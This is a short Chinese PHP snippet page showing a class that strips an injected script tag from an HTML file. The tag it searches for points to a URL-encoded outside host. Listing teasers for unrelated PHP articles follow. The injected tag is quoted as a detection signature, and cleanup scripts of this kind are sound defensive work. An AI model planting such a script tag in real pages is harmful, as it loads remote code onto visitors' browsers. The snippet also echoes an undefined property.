php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP中date()日期函数有关参数整理

在页面的最前页加上 date_default_timezone_set(PRC); /*把时间调到北京时间,php5默认为格林威治标准时间*/ date () a: "am"或是"pm"...

php专用数组排序类ArraySortUtil用法实例

本文实例讲述了php专用数组排序类ArraySortUtil用法。分享给大家供大家参考。具体如下: ** * ArraySortUtil is a array sort utili...

PHP输出XML格式数据的方法总结

PHP输出XML格式数据的方法总结

本文实例讲述了PHP输出XML格式数据的方法。分享给大家供大家参考,具体如下: 方法1: <?php header("Content-type: text/xml");...

php5.5新数组函数array_column使用

PHP5.5发布了,其中增加了一个新的数组函数array_column,感觉不错的!但是低版本PHP要使用,得自己实现:参考地址:https://wiki.php.net/rfc/arr...

php生成图片验证码的方法

php生成图片验证码的方法

本文为大家分享了php生成图片验证码的方法,供大家参考,具体内容如下 首先从指定字符集合中随机抽取固定数目的字符,以一种不规则的方法画在画布上,再适当添加一些干扰点和干扰元素,最后将图片...